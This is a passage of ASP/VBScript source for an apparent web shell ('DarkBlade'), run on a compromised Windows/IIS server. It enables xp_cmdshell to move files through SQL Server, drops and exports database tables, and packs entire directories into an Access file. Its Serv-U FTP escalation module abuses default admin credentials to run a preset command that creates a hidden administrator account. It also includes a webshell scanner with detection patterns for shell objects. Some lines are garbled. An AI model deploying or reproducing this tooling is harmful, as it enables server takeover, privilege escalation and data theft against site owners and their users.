doTdInput"text","logPath",mapath(".")&"\system.asp","40%","","" + doTd"Database","10%" + doTdInput"text","logdb",dbname,"20%","","" + doTd"Step","10%" + echo"" + doSelect"logstep","100%","" + doOption 1,1 + doOption 2,2 + doOption 3,3 + doOption 4,4 + doSselect + echo"" + doTtr + doTtable + echo"" + doHideSpan"saup",True + echoLine"" + doHidden"goaction",goaction + doHidden"subAct","saup" + doHidden"connStr",connStr + doTable"100%" + doTr 1 + doTdInput"file","safile","","30%","","" + echoLine"Save as(full path):" + doTdInput"text","thePath","","40%","","" + doTdInput"button","","Upload","10%","onClick=""javascript:dosubmit('"&goaction&"','safile','')""","" + doTtr + doTtable + doFform + echo"" + doHideSpan"sadown",True + doForm True + doHidden"subAct","sadown" + doHidden"connStr",connStr + doTable"100%" + doTr 1 + doTd"Remoto file(full path)","" + doTdInput"text","loadPath","","30%","","" + doTd"Save as","" + doTdInput"text","thePath",asppath,"30%","","" + doTdSubmit"Download","10%" + doTtr + doTtable + doFform + echo"" + End If + echo"
    " + End If + End Sub + + Sub delTable() + If Not isDebugMode Then On Error Resume Next + If dbType<>"others" Then strTable="["&strTable&"]" + conn.Execute"drop table "&strTable,-1,&H0001 + If Err Then + chkErr(Err) + Else + errMsgAdd("Table deleted.") + End If + showTables() + End Sub + Sub expTable() + If Not isDebugMode Then On Error Resume Next + If dbType<>"others" Then strTable="["&strTable&"]" + Dim rs + Set rs=conn.Execute("select * from "&strTable,-1,&H0001) + dieErr(Err) + If rs.Fields.Count>0 Then + Response.Clear + Session.CodePage=936 + Response.AddHeader"Content-Disposition","Attachment; Filename="&strTable&".xls" + Session.CodePage=65001 + Response.AddHeader"Content-Type","application / ms - excel" + echo"" + For i=0 To rs.Fields.Count-1 + echo"" + Next + echo"" + Do Until rs.EOF + echo"" + For i=0 To rs.Fields.Count-1 + echo"" + Next + echo"" + rs.MoveNext + Loop + echo"
    "&rs.Fields(i).Name&"
    "&htmlEnc(rs(i))&"
    " + Else + errMsgAdd"It's empty." + showTables() + doFin + End If + rs.Close + Set rs=Nothing + response.End + End Sub + Sub saFile() + strfrm="8.0|1|1 SQLIMAGE 0 {size} """" 1 binfile """"|" + conn.execute "If object_id('dark_temp')is not null drop table dark_temp" + If InStr(sqlver,"Microsoft SQL Server 2005")>0 Then + strfrm=Replace(strfrm,"8.0","9.0") + conn.execute("EXEC master..sp_configure 'show advanced options', 1;RECONFIGURE;EXEC master..sp_configure 'xp_cmdshell', 1;RECONFIGURE;") + End If + If subAct="sadown"Then + Dim rs,size + If thePath=""Or loadPath="" Then + errMsgAdd"Not enough parameters." + showTables() + doFin + ElseIf InstrRev(loadPath,".")>c:\tmp.fmt'") + Next + If subAct="saup"Then + saUpload() + Else + saDownload() + End If + conn.execute "If object_id('dark_temp')is not null drop table dark_temp" + conn.execute("EXECUTE master..xp_cmdshell 'del c:\tmp.fmt'") + showTables() + End Sub + Sub saUpload() + If Not isDebugMode Then On Error Resume Next + Dim rs,theFile,arrfrm,nowdb + If thePath="" Then thePath=aspPath + If InStr(thePath,":")<1 Then thePath=aspPath&"\"&thePath + Set theFile=cls_upload.File("safile") + If InstrRev(thePath,"\")>InstrRev(thePath,".")Then thePath=thePath&"\"&theFile.FileName + conn.execute "CREATE TABLE [dark_temp] ([id] [int] NULL ,[binfile] [Image] NULL) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY];" + Set rs=CreateObj("Adodb.RecordSet") + rs.Open "SELECT * FROM dark_temp where id is null",conn,1,3 + rs.AddNew + rs("binfile").AppendChunk theFile.InFile() + rs.Update + conn.execute("exec master..xp_cmdshell'bcp ""select binfile from "&dbname&"..dark_temp"" queryout """&thePath&""" -T -f c:\tmp.fmt'") + set rs=conn.execute("EXECUTE master..xp_fileexist '"&thePath&"'") + If Err Then + chkErr(Err) + ElseIf rs(0)=1 Then + errMsgAdd("File uploaded, have fun.") + Else + errMsgAdd("Upload failed, RPWT?") + End If + rs.close + Set rs=Nothing + End Sub + Sub saDownload() + Dim rs + If Not isDebugMode Then On Error Resume Next + conn.execute "CREATE TABLE [dark_temp] ([binfile] [Image] NULL)" + conn.execute("exec master..xp_cmdshell'bcp """&dbname&"..dark_temp"" in """&loadpath&""" -T -f c:\tmp.fmt'") + Set rs=CreateObj("Adodb.RecordSet") + rs.Open "select * from dark_temp",conn,1,1 + streamSaveToFile thePath,rs(0),1 + If Err Then + chkErr(Err) + Else + errMsgAdd("File downloaded,have fun.") + End If + rs.close + Set rs=Nothing + End Sub + Sub showTables() + Dim objTable,objColumn,intDefinedSize,strNullAble,spanId,rsTable + If Not isDebugMode Then On Error Resume Next + spanId=1 + trId=0 + Set rsTable=conn.OpenSchema(20,Array(Empty,Empty,Empty,"table")) + dieErr(Err) + Do Until rsTable.Eof + doSpan spanId + doLabel""&rsTable("Table_Name")&"" + echo"" + echo"" + echo"" + echo"" + If subAct="showStructure"And strTable=rsTable("Table_Name")Then + Set rsColumn=conn.OpenSchema(4,Array(Empty,Empty,rsTable("Table_Name").value)) + echo"" + echo"
    " + doTable"80%" + doTr trId + trIdAdd + doTd"Name","" + doTd"Type","" + doTd"Size","" + doTd"Nullable","" + doTtr + Do Until rsColumn.Eof + intDefinedSize=rsColumn("Character_Maximum_Length") + If intDefinedSize="" Then intDefinedSize=rsColumn("Is_Nullable") + doTr trId + doTd rsColumn("Column_Name"),"" + doTd getDataType(rsColumn("Data_Type")),"" + doTd intDefinedSize,"" + doTd rsColumn("Is_Nullable"),"" + doTtr + trIdAdd + rsColumn.MoveNext + Loop + doTtable + echo"
    " + End If + echoLine"
    " + trIdAdd + spanId=spanId+1 + If spanId=2 Then spanId=0 + rsTable.MoveNext + Loop + Set rsTable=Nothing + Set rsColumn=Nothing + chkerr(Err) + End Sub + Sub showQuery() + Dim i,j,x,rs,Cat,strPrimaryKey,sExec,pageNum,tmpQueryStr + If Not isDebugMode Then On Error Resume Next + Set Cat=CreateObj("ADOX.Catalog") + Cat.ActiveConnection=conn.ConnectionString + Set rs=CreateObj("Adodb.RecordSet") + If Lcase(Left(queryStr,7))="select " And dbType<>"others" Then + If intPage=""Then intPage=1 + rs.Open queryStr,conn,1,1 + dieErr(Err) + intPage=CInt(intPage) + rs.PageSize=sqlPageSize + If Not rs.Eof Then + rs.AbsolutePage=intPage + End If + If rs.Fields.Count > 0 Then + echo"" + doTr 1 + For j=0 To rs.Fields.Count-1 + doTdNoWrap htmlEnc(rs.Fields(j).Name) + Next + doTtr + trId=0 + For i=1 To rs.PageSize + If rs.Eof Then Exit For + doTr trId + For j=0 To rs.Fields.Count-1 + doTdNoWrap htmlEnc(rs(j)) + Next + doTtr + trIdAdd + rs.MoveNext + Next + End If + doTr trId + pageNum=rs.RecordCount/sqlPageSize + If InStr(pageNum,".")>0 Then pageNum=Int(pageNum)+1 + echo"" + doTtr + doTtable + rs.Close + Else + Set rs=conn.Execute(queryStr,-1,&H0001) + dieErr(Err) + If rs.Fields.Count>0 Then + doTable"100%" + doTr 1 + For i=0 To rs.Fields.Count-1 + doTdNoWrap htmlEnc(rs.Fields(i).Name) + Next + doTtr + trId=0 + Do Until rs.EOF + doTr trId + For i=0 To rs.Fields.Count-1 + doTdNoWrap htmlEnc(rs(i)) + Next + doTtr + rs.MoveNext + trIdAdd + Loop + doTtable + rs.Close + Else + errMsgAdd"Query got null recordSet." + End If + Set rs=Nothing + Set Cat=Nothing + End If + chkerr(Err) + End Sub + + Sub CreateConn(connStr) + If Not isDebugMode Then On Error Resume Next + Set conn=CreateObj("Adodb.Connection") + conn.Open connStr + dieErr(Err) + End Sub + + Sub DestoryConn() + If Not isDebugMode Then On Error Resume Next + If IsObject(conn)Then + conn.Close + Set conn=Nothing + End If + End Sub + + Function GetDataType(flag) + Dim str + Select Case flag + Case 0: str="EMPTY" + Case 2: str="SMALLINT" + Case 3: str="INTEGER" + Case 4: str="SINGLE" + Case 5: str="DOUBLE" + Case 6: str="CURRENCY" + Case 7: str="DATE" + Case 8: str="BSTR" + Case 9: str="IDISPATCH" + Case 10: str="ERROR" + Case 11: str="BIT" + Case 12: str="VARIANT" + Case 13: str="IUNKNOWN" + Case 14: str="DECIMAL" + Case 16: str="TINYINT" + Case 17: str="UNSIGNEDTINYINT" + Case 18: str="UNSIGNEDSMALLINT" + Case 19: str="UNSIGNEDINT" + Case 20: str="BIGINT" + Case 21: str="UNSIGNEDBIGINT" + Case 72: str="GUID" + Case 128: str="BINARY" + Case 129: str="CHAR" + Case 130: str="VARCHAR" + Case 131: str="NUMERIC" + Case 132: str="USERDEFINED" + Case 133: str="DBDATE" + Case 134: str="DBTIME" + Case 135: str="DBTIMESTAMP" + Case 136: str="CHAPTER" + Case 200: str="WCHAR" + Case 201: str="TEXT" + Case 202: str="NVARCHAR" + Case 203: str="NTEXT" + Case 204: str="VARBINARY" + Case 205: str="LONGVARBINARY" + Case Else: str=flag + End Select + GetDataType=str + End Function + + Sub showEdit() + If Not isDebugMode Then On Error Resume Next + Dim theFile,strContent,parPath,tmputf + If Right(thePath,1)="\"Then + errMsgAdd"Can't edit a directory!" + doFin + End If + parPath=getLeft(thePath,"\",False) + doForm True + If goaction="FsoFileExplorer"And subAct="showEdit" Then + strContent=FsoRead(thePath) + Else + strContent=streamLoadFromFile(thePath) + End If + chkerr(Err) + doTextarea"fileContent",strContent,"100%","25","" + If subAct="utfEdit" Then + doHidden"subAct","utfSave" + Else + doHidden"subAct","save" + End If + echo"Save as :" + doInput"text","thePath",thePath,"60","" + echo" Encode:" + doSelect"act","80px","onchange=""javascript:if(this.value!=''){dosubmit('"&goaction&"',this.value,'"&doPathFormat(thePath)&"');}""" + doOption"showEdit","Default" + tmputf="" + If subAct="utfEdit" Then + tmputf=Replace(tmputf,"{$}","selected") + End If + echo tmputf + doSselect + echo" " + doSubmit"Save" + echo" " + doInput"reSet","","ReSet","","" + echo" " + doInput"button","clear","Clear","","onClick=""javascript:this.form.fileContent.innerText=''""" + echo" " + doInput"button","","Go back","","onClick=""javascript:dosubmit('"&goaction&"','','"&doPathFormat(parPath)&"')""" + doFform + chkerr(Err) + doFin + End Sub + Sub saveFile() + If Not isDebugMode Then On Error Resume Next + If goaction="FsoFileExplorer"And subAct="save" Then + fsoSaveToFile thePath,fileContent + Else + streamSaveToFile thePath,fileContent,2 + End If + If Err Then + chkerr(Err) + Else + errMsgAdd"File saved." + End If + End Sub + Sub PageAddToMdb() + If Not isDebugMode Then On Error Resume Next + Server.ScriptTimeOut=5000 + If thePath=""Then thePath=pubPam + If thePath=""Then thePath=aspPath + If mdbPath=""Then mdbPath=mapath("DarkBlade.mdb") + If packMethod=""Then packMethod="fso" + showTitle"File Packer/Unpacker" + echo"
    " + doTable"100%" + doTr 1 + doForm True + doTd"File Pack","10%" + doTdInput"text","thePath",thePath,"30%","","" + echoLine"
    " + doTdSubmit"Pack","10%" + doTtr + doTr 0 + doTd"Exceptional folder","" + doTdInput"text","outPath",outPath,"30%","","" + echo"" + doTtable + doFform + echo"
    " + doTable"100%" + doTr 1 + doForm True + doHidden"subAct","unpa" + doTd"Release to","10%" + doTdInput"text","thePath",thePath,"30%","","" + echoLine"" + doTdSubmit"Unpack","10%" + doFform + doTtr + doTtable + echo"" + echo"
    Notice: Unpacking need FSO object,all files unpacked will be under target folder,replacing same named!" + Select Case subAct + Case"fsoPack" + AddToMdb"fso" + Case"appPack" + AddToMdb"app" + Case"unpa" + doUnPack() + End Select + End Sub + Sub AddToMdb(packMethod) + If Not isDebugMode Then On Error Resume Next + Dim rs,connStr,adoCatalog + Set rs=CreateObj("ADODB.RecordSet") + Set objStream=CreateObj("adodb.stream") + Set adoCatalog=CreateObj("ADOX.Catalog") + If InStr(mdbPath,":\")<1 Then mdbPath=mapath(mdbPath) + mdbName=getRight(mdbPath,"\") + connStr=getJetStr(mdbPath) + adoCatalog.Create connStr + CreateConn(connStr) + conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED,strPath VarChar,binContent Image)") + dieErr Err + objStream.Open + objStream.Type=1 + rs.Open"FileData",conn,3,3 + mdbName=Lcase(mdbName) + mdbName2=Replace(mdbName,".mdb",".ldb") + If packMethod="fso"Then + fsoTreeForMdb thePath,thePath,rs,objStream + Else + saTreeForMdb thePath,thePath,rs,objStream + End If + rs.Close + DestoryConn + objStream.Close + Set rs=Nothing + Set objStream=Nothing + Set adoCatalog=Nothing + If Err Then + chkerr(Err) + Else + errMsgAdd"Packing completed" + End If + End Sub + Sub fsoTreeForMdb(thePath,subPath,rs,objStream) + If Not isDebugMode Then On Error Resume Next + Dim item,theFolder,objFolder,files + If Not(objFso.FolderExists(subPath))Then + errMsgAdd"Folder dosen't exists or access denied!" + doFin + End If + outPath=Lcase(outPath) + Set theFolder=objFso.GetFolder(subPath) + For Each item In theFolder.Files + If Not(regTest(getRight(item.name,"."),"^("&outExt&")$") Or Lcase(item.Name)=mdbName Or Lcase(item.Name)=mdbName2)Then + rs.AddNew + rs("strPath")=Replace(item.Path,thePath&"\","") + objStream.LoadFromFile(item.Path) + rs("binContent")=objStream.Read() + rs.Update + End If + Next + For Each item In theFolder.SubFolders + If Not regTest(item.name,"^("&outPath&")$")Then + fsoTreeForMdb thePath,item.Path,rs,objStream + End If + Next + Set files=Nothing + Set objFolder=Nothing + Set theFolder=Nothing + End Sub + Sub saTreeForMdb(thePath,subPath,rs,objStream) + If Not isDebugMode Then On Error Resume Next + Dim item,theFolder,sysFileList + Set theFolder=objSa.NameSpace(subPath) + For Each item In theFolder.Items + If Not item.IsFolder And Lcase(item.Name)<>mdbName And Lcase(item.Name)<>mdbName2 And Not(regTest(getRight(item.name,"."),"^("&outExt&")$")) Then + rs.AddNew + rs("strPath")=Replace(item.Path,thePath&"\","") + objStream.LoadFromFile(item.Path) + rs("binContent")=objStream.Read() + rs.Update + End If + Next + For Each item In theFolder.Items + If item.IsFolder And Not regTest(item.name,"^("&outPath&")$") Then + saTreeForMdb thePath,item.Path,rs,objStream + End If + Next + Set theFolder=Nothing + End Sub + Sub doUnPack() + If Not isDebugMode Then On Error Resume Next + Server.ScriptTimeOut=5000 + Dim rs,str,theFolder + thePath=thePath + thePath=Replace(thePath,"\\","\") + If InStr(mdbPath,":\")<1 Then mdbPath=mapath(mdbPath) + Set rs=CreateObj("ADODB.RecordSet") + Set objStream=CreateObj("adodb.stream") + connStr=getJetStr(mdbPath) + CreateConn(connStr) + rs.Open"FileData",conn,1,1 + dieErr Err + objStream.Open + objStream.Type=1 + Do Until rs.Eof + If InStr(rs("strPath"),"\")>0 Then + theFolder=thePath&"\"&getLeft(rs("strPath"),"\",False) + Else + theFolder=thePath + End If + If Not objFso.FolderExists(theFolder)Then + objFso.CreateFolder(theFolder) + End If + objStream.SetEos() + objStream.Write rs("binContent") + objStream.SaveToFile thePath&"\"&rs("strPath"),2 + rs.MoveNext + Loop + rs.Close + DestoryConn + objStream.Close + Set rs=Nothing + Set objStream=Nothing + If Err Then + chkerr(Err) + Else + errMsgAdd"Unpacking completed" + End If + End Sub + + Sub PageTxtSearcher() + If Not isDebugMode Then On Error Resume Next + Server.ScriptTimeOut=5000 + Dim theFolder + showTitle("Text File Searcher/Replacer") + If thePath=""Then + thePath=rootPath + End If + doForm True + doTable"100%" + doTr 1 + doTd"Keyword","20%" + doTdText"searchkey",searchkey,4 + echo"" + doTtr + doTr 0 + doTd"Replace as","" + doTdText"strReplaceTo",strReplaceTo,4 + echo"" + doTtr + doTr 1 + doTd"Path","" + doTdInput"text","thePath",thePath,"","","" + echo"" + doTtr + doTr 0 + doTd"Search type","" + doTdInput"text","searchExt",textExt,"","","" + doTdSubmit"Search","" + doTtr + doTtable + If searchkey<>""Then + echo"
    " + doUl + If subAct="fsoSearch"Then + Set theFolder=objFso.GetFolder(thePath) + Call searchFolder(theFolder,searchkey) + Set theFolder=Nothing + ElseIf subAct="saSearch"Then + Call appSearchIt(thePath,searchkey) + End If + echo"" + End If + If Err Then + chkerr(Err) + Else + errMsgAdd"Search completed" + End If + doFin + End Sub + Sub searchFolder(folder,str) + Dim ext,title,theFile,theFolder,needReg + needReg=False + If useReg=1 Then needReg=True + For Each theFile In folder.Files + ext=Lcase(getRight(theFile.Name,".")) + If searchType="filename"Then + If needReg And regTest(theFile.Name,str)Then + dofileLink theFile.Path,"fso" + ElseIf InStr(1,theFile.Name,str,1) > 0 Then + dofileLink theFile.Path,"fso" + End If + Else + If regTest(ext,"^("&searchExt&")$")Then + If searchFile(theFile.Path,str,"fso",needReg) Then + dofileLink theFile.Path,"fso" + End If + End If + End If + Next + For Each theFolder In folder.subFolders + searchFolder theFolder,str + Next + chkerr(Err) + End Sub + Function searchFile(sPath,s,method,needReg) + If Not isDebugMode Then On Error Resume Next + Dim theFile,content,find + find=False + If method="fso" Then + content=fsoRead(sPath) + Else + content=streamLoadFromFile(sPath) + End If + If Err Then + chkerr(Err) + searchFile=False + Exit Function + End If + If needReg Then + find=regTest(content,s) + ElseIf InStr(1,content,s,1)>0 Then + find=True + End If + If needReplace Then + If needReg Then + content=regReplace(content,s,strReplaceTo,False) + Else + content=Replace(content,s,strReplaceTo,1,-1,1) + End If + If method="fso" Then + fsoSaveToFile sPath,content + Else + streamSaveToFile sPath,content,2 + End If + End If + searchFile=find + chkerr(Err) + End Function + Sub appSearchIt(thePath,theKey) + If Not isDebugMode Then On Error Resume Next + Dim title,ext,objFolder,objItem,fileName,needReg + needReg=False + If useReg=1 Then needReg=True + Set objFolder=objSa.NameSpace(thePath) + For Each objItem In objFolder.Items + If objItem.IsFolder Then + Call appSearchIt(objItem.Path,theKey) + Else + ext=Lcase(getRight(objItem.Path,".")) + fileName=getRight(objItem.Path,"\") + If searchType="filename"Then + If needReg And regTest(fileName,str)Then + dofileLink theFile.Path,"app" + ElseIf InStr(Lcase(fileName),Lcase(str)) > 0 Then + dofileLink theFile.Path,"app" + End If + Else + If regTest(subExt,"^("&searchExt&")$")Then + If searchFile(objItem.Path,theKey,"app",needReg) Then + doFileLink objItem.Path,"app" + End If + End If + End If + End If + Next + chkerr(Err) + End Sub + Sub doFileLink(sPath,typpe) + Dim strAction + If typpe="fso"Then + strAction="FsoFileExplorer" + Else + strAction="SaFileExplorer" + End If + echo"
  • "&sPath&"" + doSubHref strAction,"showEdit",doPathFormat(sPath),"Edit","" + Response.Flush() + End Sub + Sub PageServUp() + If Not isDebugMode Then On Error Resume Next + Dim ftpDomain + ftpDomain="darkblade" + loginuser="User "&suUser&vbCrLf + loginpass="Pass "&suPass&vbCrLf + deldomain="-DELETEDOMAIN"&vbCrLf&"-IP=0.0.0.0"&vbCrLf&" PortNo="&nport&vbCrLf + mt="SITE MAINTENANCE"&vbCrLf + newdomain="-SetDOMAIN"&vbCrLf&"-Domain="&ftpDomain&"|0.0.0.0|"&nport&"|-1|1|0"&vbCrLf&"-TZOEnable=0"&vbCrLf&" TZOKey="&vbCrLf + newuser="-SetUSERSetUP"&vbCrLf&"-IP=0.0.0.0"&vbCrLf&"-PortNo="&nport&vbCrLf&"-User="&nuser&vbCrLf&"-Password="&npass&vbCrLf&_ + "-HomeDir="&Gpath()&"\\"&vbCrLf&"-LoginMesFile="&vbCrLf&"-Disable=0"&vbCrLf&"-RelPaths=1"&vbCrLf&_ + "-NeedSecure=0"&vbCrLf&"-HideHidden=0"&vbCrLf&"-AlwaysAllowLogin=0"&vbCrLf&"-ChangePassword=0"&vbCrLf&_ + "-QuotaEnable=0"&vbCrLf&"-MaxUsersLoginPerIP=-1"&vbCrLf&"-SpeedLimitUp=0"&vbCrLf&"-SpeedLimitDown=0"&vbCrLf&_ + "-MaxNrUsers=-1"&vbCrLf&"-IdleTimeOut=600"&vbCrLf&"-SessionTimeOut=-1"&vbCrLf&"-Expire=0"&vbCrLf&"-RatioUp=1"&vbCrLf&_ + "-RatioDown=1"&vbCrLf&"-RatiosCredit=0"&vbCrLf&"-QuotaCurrent=0"&vbCrLf&"-QuotaMaximum=0"&vbCrLf&_ + "-Maintenance=System"&vbCrLf&"-PasswordType=Regular"&vbCrLf&"-Ratios=None"&vbCrLf&" Access="&Gpath()&"\\|RWAMELCDP"&vbCrLf + suquit="QUIT"&vbCrLf + showTitle("Serv-U FTP Exp") + Select Case subAct + Case "1" + doSuStep1 + Case "2" + doSuStep2 + Case "3" + doSuStep3 + Case "4" + doSuForm2 + Case "5" + doSuForm3 + Case Else + If IsObject(Session("a"))Then Session("a").abort + If IsObject(Session("b"))Then Session("b").abort + If IsObject(Session("c"))Then Session("c").abort + Set Session("a")=Nothing + Set Session("b")=Nothing + Set Session("c")=Nothing + doForm True + doHidden "subAct",1 + echo"
    Add Temp Domain
    " + doTable "80%" + doTr 1 + doTd"Local user","20%" + doTdInput"text","suUser","LocalAdministrator","30%","","" + doTd"Local pass","20%" + doTdInput"text","suPass","#l@$ak#.lk;0@P","30%","","" + doTtr + doTr 0 + doTd" Local port","" + doTdInput"text","suPort","43958","","","" + doTd"Sys drive","" + doTdInput"text","suPath",Gpath(),"","","" + doTtr + doTr 1 + doTd"New user","" + doTdInput"text","nuser","go","","","" + doTd"New pass","" + doTdInput"text","npass","od","","","" + doTtr + doTr 0 + doTd"New port","" + doTdInput"text","nport","60000","","","" + echo"
  • " + doTtable + echo"" + doFform + End Select + echo"
    " + echo"
    " + doTable "80%" + doTr 1 + echo"
    " + echo"" + echo"" + doTtr + doTtable + echo"" + doFin + End Sub + Sub doSuStep1() + If Not isDebugMode Then On Error Resume Next + Set a=CreateObj("Microsoft.XMLHTTP") + a.open"GET","http://127.0.0.1:"&suPort&"/goldsun/upadmin/s1",True,"","" + a.send loginuser&loginpass&mt&deldomain&newdomain&newuser&suquit + Set Session("a")=a + errMsgAdd"Connecting 127.0.0.1:"&suPort&" using "&suUser&",pass:"&suPass&"..." + doSuForm2 + End Sub + Sub doSuStep2() + If Not isDebugMode Then On Error Resume Next + doSuForm2() + Set b=CreateObj("Microsoft.XMLHTTP") + b.open"GET","http://"&getServerVariable("LOCAL_ADDR")&":"&nport&"/goldsun/upadmin/s2",False,"","" + b.send"User "&nuser&vbCrLf&"pass "&npass&vbCrLf&"site exec "&suCmd&vbCrLf&suquit + Set Session("b")=b + errMsgAdd"Executing command..." + echoLine"

    " + echoLine Replace(b.ResponseText,chr(10),"
    ")&"
    " + End Sub + Sub doSuStep3() + If Not isDebugMode Then On Error Resume Next + Set c=CreateObj("Microsoft.XMLHTTP") + c.open "GET","http://127.0.0.1:"&suPort&"/goldsun/upadmin/s3",True,"","" + c.send loginuser&loginpass&mt&deldomain&suquit + Set Session("c")=c + errMsgAdd"Temp domain deleted!" + echo"" + End Sub + Function Gpath() + If Not isDebugMode Then On Error Resume Next + Gpath=Lcase(Left(objFso.GetSpecialFolder(0),2)) + If Gpath=""Then Gpath="c:" + End Function + Sub doSuForm2() + If nuser=""Then nuser="go" + If npass=""Then npass="od" + If nport=""Then nport="60000" + doForm True + doHidden "subAct",2 + echo"
    Execute Cmd
    " + doTable "80%" + doTr 1 + doTd"Command","" + doTdInput"text","suCmd","cmd /c net user bloodsword$ 0kee /add & net localgroup administrators bloodsword$ /add","","",3 + doTtr + doTr 0 + doTd"Ftp user","" + doTdInput"text","nuser",nuser,"","","" + doTd"Ftp pass","" + doTdInput"text","npass",npass,"","","" + doTtr + doTr 1 + doTd"Ftp port","" + doTdInput"text","nport",nport,"","","" + echo"
    " + doTtable + echo"" + doFform + End Sub + Sub doSuForm3() + doForm True + doHidden "subAct",3 + echo"
    Clean Temp Domain
    " + doTable "80%" + doTr 1 + doTd"Local user","20%" + doTdInput"text","suUser","LocalAdministrator","30%","","" + doTd"Local pass","20%" + doTdInput"text","suPass","#l@$ak#.lk;0@P","30%","","" + doTtr + doTr 0 + doTd"Local port","" + doTdInput"text","suPort","43958","","","" + doTd"Temp domain port","" + doTdInput"text","nport","60000","","","" + doTtr + doTr 1 + echo"
    " + doTtable + echo"" + doFform + End Sub + + Sub PageScan() + If Not isDebugMode Then On Error Resume Next + Dim theFolder + showTitle"Asp Webshell Scanner" + echo"Path : " + doForm True + doInput"text","thePath","/",50,"" + echo" " + doSubmit"Scan" + doChkBox"getInc",1," Get include files","" + If thePath<>""Then + If InStr(thePath,":\")<1 Then thePath=mapath(thePath) + echo"
    " + Response.Flush() + doUl + Set theFolder=objFso.GetFolder(thePath) + doScan(theFolder) + Set theFolder=Nothing + echo"" + End If + doFin + End Sub + Sub doScan(theFolder) + If Not isDebugMode Then On Error Resume Next + Server.ScriptTimeOut=5000 + Dim shellObjLst,funcLst,ext,objName,funcs,needScan,strInclude,theFile,content,echoed + shellObjLst="Wscript.Shell|Wscript.Shell.1|Shell.Application|Shell.Application.1|clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8|clsid:13709620-C279-11CE-A49E-444553540000" + funcLst="Wscript.Shell;Run,Exec,RegRead|Shell.Application;ShellExecute|Scripting.FileSystemObject;CreateTextFile,OpenTextFile,SavetoFile" + For Each objFile In theFolder.Files + echoed=False + needScan=False + ext=Lcase(getRight(objFile.Name,".")) + If regTest(ext,"^("&aspExt&")$") Then + content=fsoRead(objFile.Path) + strInclude="" + For Each strObj In Split(shellObjLst,"|") + If InStr(1,content,strObj,1)>0 Then + doScanReport objFile,"Object with risk : "&strObj&"" + echoed=True + End If + Next + For Each strFunc In Split(funcLst,"|") + objName=getLeft(strFunc,";",True) + funcs=getRight(strFunc,";") + For Each subFunc In Split(funcs,",") + If regTest(content,"\."&subFunc&"\b") Then + doScanReport objFile,"Called object "&objName&"'s "&subFunc&" Function" + echoed=True + End If + Next + Next + If regTest(content,"Set\s*.*\s*=\s*server\s")Then + doScanReport objFile,"Found Set xxx=Server" + echoed=True + End If + If regTest(content,"server.(execute|Transfer)([ \t]*|\()[^""]\)")Then + doScanReport objFile,"Found Server.Execute / Transfer() Function" + echoed=True + End If + If regTest(content,"\bLANGUAGE\s*=\s*[""]?\s*(vbscript|jscript|javascript)\.encode\b")Then + doScanReport objFile,"Script encrypted" + echoed=True + End If + If regTest(content,"")Then + doScanReport objFile,"Found "&htmlEnc(" + + + +
    " + echoLine rs.RecordCount&" records in total,page "&pageNum + doSqlHref "showQuery","","",strTable,"1","«",htmlEnc(" ") + tmpQueryStr="" + If strTable=""Then tmpQueryStr=Replace(queryStr,"'","\'") + For i=1 To pageNum + If i=intPage Then + echo htmlEnc(" "&i&" ") + Else + echo htmlEnc(" ") + doSqlHref "showQuery","",tmpQueryStr,strTable,i,i,htmlEnc(" ") + End If + Next + echo htmlEnc(" ") + doSqlHref "showQuery","",tmpQueryStr,strTable,pageNum,"»","" + echo"" + doSelect"subAct","80px","" + doOption"fsoPack","FSO" + doOption"appPack","UnFSO" + doSselect + echo" Pack as : " + doInput"text","mdbPath",mdbPath,40,"" + echo"" + echo"Exceptional file type,split with | " + doInput"text","outExt",outExt,40,"" + echo"
    Mdb path : " + doInput"text","mdbPath",mdbPath,40,"" + echo"" + doSelect"subAct","80px","" + doOption"fsoSearch","FSO" + doOption"saSearch","UnFSO" + doSselect + echo"
    " + doChkBox"useReg",1," Regexp","" + echoLine"
    " + doChkBox"needReplace",1," Replace","" + echoLine"" + doInput"radio","searchType","filename","","" + echo"File name " + doInput"radio","searchType","fileContent","","checked" + echo"File content" + echo"" + doSubmit"Go" + echo"" + doInput"reSet","","ReSet","","" + echo"
    " + doSubHref goaction,"","","Add domain","" + echo"" + doSubHref goaction,4,"","Exec cmd","" + echo"" + doSubHref goaction,5,"","Clean domain","" + echo"" + doSubmit"Go" + echo"" + doInput"reSet","","ReSet","","" + echo"
    " + doSubmit"Go" + echo"" + doInput"reSet","","ReSet","","" + echo"
    + + + + + + + + + + +
    + + + + + + + +<% + If logged Then +%> +
    + + +<% + End If +%>

    <%=getServerVariable("LOCAL_ADDR")&"("&serverName&")"%>

    + <%doFont sversion,"#0099FF","3"%>
    +
    <%=getAds()%>

    +<% + echo"" + doFont strTitle&"»","#0099ff","2" + echoLine"

    " + End Sub + Sub show404() + Dim sitedir + sitedir=getLeft(getServerVariable("PATH_INFO"),"/",False) + echo xmlGet("http://"&serverName&sitedir&"/"&fToPre&"?"&getServerVariable("QUERY_STRING"),"GET") + Response.status=objXml.status + response.End + End Sub + Sub getObjInfo(strObjInfo,strDscInfo) + Dim objTmp + If Not isDebugMode Then On Error Resume Next + echo"
  • "&strObjInfo + If strDscInfo<>""Then + echo"(Object "&strDscInfo&")" + End If + echo"" + If Err Then Err.Clear + Set objTmp=CreateObj(strObjInfo) + If Err Then + doFont htmlEnc("Disabled"),"red","" + Else + doFont htmlEnc("Enabled "),"green","" + echo"Version:"&objTmp.Version&";" + echo"About:"&objTmp.About + End If + echo"
  • " + If Err Then Err.Clear + Set objTmp=Nothing + End Sub + Sub showUserInfo(strUser) + Dim User,Flags,lastlog + If Not isDebugMode Then On Error Resume Next + Set User=getObj("WinNT://./"&strUser&",user") + Flags=User.Get("UserFlags") + lastlog=User.LastLogin + doTr 0 + doTd"Description","20%" + doTd User.Description,"80%" + doTtr + doTr 1 + doTd"Belong to","" + doTd getItsGroup(strUser),"" + doTtr + doTr 0 + doTd"Password expired","20%" + doTd CBool(User.Get("PasswordExpired")),"80%" + doTtr + doTr 1 + doTd"Password never expire","" + doTd cbool(Flags And&H10000),"" + doTtr + doTr 0 + doTd"Can't change password","" + doTd cbool(Flags And&H00040),"" + doTtr + doTr 1 + doTd"Global-group account","" + doTd cbool(Flags And&H100),"" + doTtr + doTr 0 + doTd"Password length at least","" + doTd User.PasswordMinimumLength,"" + doTtr + doTr 1 + doTd"Password required","" + doTd User.PasswordRequired,"" + doTtr + doTr 0 + doTd"Account disabled","" + doTd User.AccountDisabled,"" + doTtr + doTr 1 + doTd"Account locked","" + doTd User.IsAccountLocked,"" + doTtr + 